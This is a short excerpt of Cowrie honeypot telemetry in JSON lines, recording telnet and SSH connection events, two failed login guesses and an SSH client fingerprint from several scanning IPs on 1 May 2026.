{"eventid":"cowrie.session.closed","duration":30.77775001525879,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:35.273955Z","src_ip":"167.71.198.239","session":"9f79496df512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":45364,"dst_ip":"159.203.135.109","dst_port":23,"session":"a11922513a45","protocol":"telnet","message":"New connection: 138.197.5.236:45364 (159.203.135.109:23) [session: a11922513a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:35.578954Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46236,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f7368e5f103","protocol":"telnet","message":"New connection: 85.190.254.94:46236 (10.17.0.5:23) [session: 0f7368e5f103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:35.650659Z"}
{"eventid":"cowrie.login.failed","username":"userTest","password":"userTest","message":"login attempt [userTest/userTest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:35.889099Z","src_ip":"119.195.89.96","session":"6dc4ea019785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":55300,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c090ac9bb42","protocol":"telnet","message":"New connection: 62.77.140.101:55300 (159.203.135.109:23) [session: 1c090ac9bb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:35.894352Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":54150,"dst_ip":"159.203.135.109","dst_port":23,"session":"440ccdddc262","protocol":"telnet","message":"New connection: 136.244.67.81:54150 (159.203.135.109:23) [session: 440ccdddc262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:36.249201Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":39382,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5e7614ba842","protocol":"telnet","message":"New connection: 167.71.198.239:39382 (159.203.135.109:23) [session: d5e7614ba842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:36.665587Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":39592,"dst_ip":"159.203.135.109","dst_port":23,"session":"023d7363b01f","protocol":"telnet","message":"New connection: 167.71.198.239:39592 (159.203.135.109:23) [session: 023d7363b01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:36.736451Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:37.085067Z","src_ip":"119.195.89.96","session":"6dc4ea019785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":46792,"dst_ip":"159.203.135.109","dst_port":23,"session":"65ce38627118","protocol":"telnet","message":"New connection: 138.197.5.236:46792 (159.203.135.109:23) [session: 65ce38627118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:37.089448Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":54158,"dst_ip":"159.203.135.109","dst_port":23,"session":"c41f3680ad49","protocol":"telnet","message":"New connection: 136.244.67.81:54158 (159.203.135.109:23) [session: c41f3680ad49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:37.178368Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":51622,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4613e2d3fad","protocol":"telnet","message":"New connection: 85.190.254.94:51622 (10.17.0.5:23) [session: d4613e2d3fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:37.426656Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":47280,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbe55cb2c5a5","protocol":"telnet","message":"New connection: 138.197.5.236:47280 (159.203.135.109:23) [session: dbe55cb2c5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:37.526785Z"}
{"eventid":"cowrie.session.closed","duration":31.456438302993774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:37.679707Z","src_ip":"107.152.33.170","session":"c25ac80efc99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":54164,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddeb15287eb2","protocol":"telnet","message":"New connection: 136.244.67.81:54164 (159.203.135.109:23) [session: ddeb15287eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:37.706525Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":41384,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ea4e9a1835a","protocol":"telnet","message":"New connection: 167.71.198.239:41384 (159.203.135.109:23) [session: 9ea4e9a1835a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:37.878523Z"}
{"eventid":"cowrie.session.closed","duration":30.957488775253296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:38.075138Z","src_ip":"85.190.254.94","session":"67f1f736825c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67091679573059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:38.132787Z","src_ip":"85.190.254.94","session":"2548b604c35b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":54596,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c04b19c2442","protocol":"telnet","message":"New connection: 85.190.254.94:54596 (10.17.0.5:23) [session: 2c04b19c2442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:38.336797Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":55422,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ba5f4e0ee98","protocol":"telnet","message":"New connection: 85.190.254.94:55422 (10.17.0.5:23) [session: 0ba5f4e0ee98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:38.612566Z"}
{"eventid":"cowrie.session.closed","duration":30.933263301849365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:39.057226Z","src_ip":"107.152.33.170","session":"72216b4bbe02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":48880,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a803b7db55","protocol":"telnet","message":"New connection: 138.197.5.236:48880 (159.203.135.109:23) [session: 90a803b7db55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:39.108899Z"}
{"eventid":"cowrie.session.closed","duration":30.161810636520386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:39.115545Z","src_ip":"107.152.33.170","session":"809d53c57cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.154091835021973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:39.316242Z","src_ip":"85.190.254.94","session":"e2a81a7feb17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":54178,"dst_ip":"159.203.135.109","dst_port":23,"session":"375c878a0f02","protocol":"telnet","message":"New connection: 136.244.67.81:54178 (159.203.135.109:23) [session: 375c878a0f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:39.347080Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":49124,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f1d6dd5758a","protocol":"telnet","message":"New connection: 77.72.5.107:49124 (159.203.135.109:23) [session: 0f1d6dd5758a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:39.424486Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":48202,"dst_ip":"159.203.135.109","dst_port":23,"session":"79d5571f782f","protocol":"telnet","message":"New connection: 138.197.5.236:48202 (159.203.135.109:23) [session: 79d5571f782f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:39.455300Z"}
{"eventid":"cowrie.session.closed","duration":30.50337266921997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:40.063355Z","src_ip":"136.244.67.81","session":"64f0f822770c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":48158,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9134f2e22c1","protocol":"telnet","message":"New connection: 62.77.140.101:48158 (159.203.135.109:23) [session: a9134f2e22c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:40.151114Z"}
{"eventid":"cowrie.session.closed","duration":31.05702304840088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:40.156533Z","src_ip":"138.197.5.236","session":"52061347312a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":49062,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3a3ade06b02","protocol":"telnet","message":"New connection: 138.197.5.236:49062 (159.203.135.109:23) [session: d3a3ade06b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:40.246062Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":48166,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9de1825b91f","protocol":"telnet","message":"New connection: 62.77.140.101:48166 (159.203.135.109:23) [session: a9de1825b91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:40.437468Z"}
{"eventid":"cowrie.session.closed","duration":30.614125728607178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:40.516762Z","src_ip":"138.197.5.236","session":"1aa7880f8eac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293856382369995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:40.589087Z","src_ip":"138.197.5.236","session":"b758550c0a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":45546,"dst_ip":"159.203.135.109","dst_port":23,"session":"19b8ec1e2f17","protocol":"telnet","message":"New connection: 167.71.198.239:45546 (159.203.135.109:23) [session: 19b8ec1e2f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:40.726497Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":34382,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2ee3a787c3","protocol":"telnet","message":"New connection: 85.190.254.94:34382 (10.17.0.5:23) [session: db2ee3a787c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:40.818954Z"}
{"eventid":"cowrie.session.closed","duration":30.670993089675903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:41.126852Z","src_ip":"85.190.254.94","session":"62bc3b4d78da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082711696624756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:41.131876Z","src_ip":"62.77.140.101","session":"28c6105c2b12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557278633117676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:41.148223Z","src_ip":"85.190.254.94","session":"db0148254d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":35912,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f1c1f30352e","protocol":"telnet","message":"New connection: 85.190.254.94:35912 (10.17.0.5:23) [session: 7f1c1f30352e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:41.269434Z"}
{"eventid":"cowrie.session.closed","duration":31.116637229919434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:41.337972Z","src_ip":"138.197.5.236","session":"f0b21c6d8692","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13324522972107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:41.405625Z","src_ip":"138.197.5.236","session":"65a05f8b939c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":49306,"dst_ip":"159.203.135.109","dst_port":23,"session":"d449d2c609e0","protocol":"telnet","message":"New connection: 77.72.5.107:49306 (159.203.135.109:23) [session: d449d2c609e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:42.059422Z"}
{"eventid":"cowrie.session.closed","duration":30.737964153289795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:42.080832Z","src_ip":"62.77.140.101","session":"796181578262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630794048309326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:42.144754Z","src_ip":"85.190.254.94","session":"e88ec878c109","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76584815979004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:42.164966Z","src_ip":"138.197.5.236","session":"f16003c24a1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":50126,"dst_ip":"159.203.135.109","dst_port":23,"session":"e420acccfef7","protocol":"telnet","message":"New connection: 107.152.33.170:50126 (159.203.135.109:23) [session: e420acccfef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:42.335189Z"}
{"eventid":"cowrie.session.closed","duration":31.241681337356567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:42.417553Z","src_ip":"138.197.5.236","session":"d9b3db3929bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":49736,"dst_ip":"159.203.135.109","dst_port":23,"session":"c431583b6e3d","protocol":"telnet","message":"New connection: 77.72.5.107:49736 (159.203.135.109:23) [session: c431583b6e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:42.462326Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":48176,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1c80336968","protocol":"telnet","message":"New connection: 62.77.140.101:48176 (159.203.135.109:23) [session: 4e1c80336968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:43.066699Z"}
{"eventid":"cowrie.session.closed","duration":30.688247203826904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:43.138552Z","src_ip":"136.244.67.81","session":"97f204d1e30d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":49748,"dst_ip":"159.203.135.109","dst_port":23,"session":"3009e5e5a2ad","protocol":"telnet","message":"New connection: 167.71.198.239:49748 (159.203.135.109:23) [session: 3009e5e5a2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:43.677820Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53088,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dbb80ed4ec7","protocol":"telnet","message":"New connection: 138.197.5.236:53088 (159.203.135.109:23) [session: 5dbb80ed4ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:43.791364Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53332,"dst_ip":"159.203.135.109","dst_port":23,"session":"fce08180557b","protocol":"telnet","message":"New connection: 138.197.5.236:53332 (159.203.135.109:23) [session: fce08180557b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:44.133828Z"}
{"eventid":"cowrie.session.closed","duration":30.653205633163452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:44.153086Z","src_ip":"85.190.254.94","session":"1cea5239c0e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45930,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa07229da323","protocol":"telnet","message":"New connection: 85.190.254.94:45930 (10.17.0.5:23) [session: aa07229da323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:44.284953Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53686,"dst_ip":"159.203.135.109","dst_port":23,"session":"50e3868171d9","protocol":"telnet","message":"New connection: 138.197.5.236:53686 (159.203.135.109:23) [session: 50e3868171d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:44.436037Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":50802,"dst_ip":"159.203.135.109","dst_port":23,"session":"e98e24091ce3","protocol":"telnet","message":"New connection: 77.72.5.107:50802 (159.203.135.109:23) [session: e98e24091ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:44.475761Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":54628,"dst_ip":"159.203.135.109","dst_port":23,"session":"67d5e0b8844c","protocol":"telnet","message":"New connection: 107.152.33.170:54628 (159.203.135.109:23) [session: 67d5e0b8844c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:44.812599Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":54150,"dst_ip":"159.203.135.109","dst_port":23,"session":"f05d063f9f1b","protocol":"telnet","message":"New connection: 138.197.5.236:54150 (159.203.135.109:23) [session: f05d063f9f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:44.879866Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":54298,"dst_ip":"159.203.135.109","dst_port":23,"session":"24c074537cf7","protocol":"telnet","message":"New connection: 138.197.5.236:54298 (159.203.135.109:23) [session: 24c074537cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:45.021675Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":54640,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d5aca045de4","protocol":"telnet","message":"New connection: 107.152.33.170:54640 (159.203.135.109:23) [session: 5d5aca045de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:45.181975Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59770,"dst_ip":"159.203.135.109","dst_port":22,"session":"520c06019b2c","protocol":"ssh","message":"New connection: 159.203.92.129:59770 (159.203.135.109:22) [session: 520c06019b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:45.410197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:45.414020Z","src_ip":"159.203.92.129","session":"520c06019b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:45.418325Z","src_ip":"159.203.92.129","session":"520c06019b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"123123","message":"login attempt [alias/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:45.471039Z","src_ip":"159.203.92.129","session":"520c06019b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.925448656082153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:46.050351Z","src_ip":"107.152.33.170","session":"4ab82c697b44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84440541267395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:46.100680Z","src_ip":"62.77.140.101","session":"f6e1e801a24d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114822149276733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:46.198775Z","src_ip":"138.197.5.236","session":"71a4def087bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11095929145813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:46.202456Z","src_ip":"138.197.5.236","session":"50820dd3d626","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":55912,"dst_ip":"159.203.135.109","dst_port":23,"session":"956149ee2f07","protocol":"telnet","message":"New connection: 138.197.5.236:55912 (159.203.135.109:23) [session: 956149ee2f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:46.380401Z"}
{"eventid":"cowrie.session.closed","duration":31.168526887893677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:46.430065Z","src_ip":"107.152.33.170","session":"2ffdfb3a79ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:46.477439Z","src_ip":"159.203.92.129","session":"520c06019b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.633100748062134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:47.054115Z","src_ip":"85.190.254.94","session":"af252f7b48fe","protocol":"telnet"}
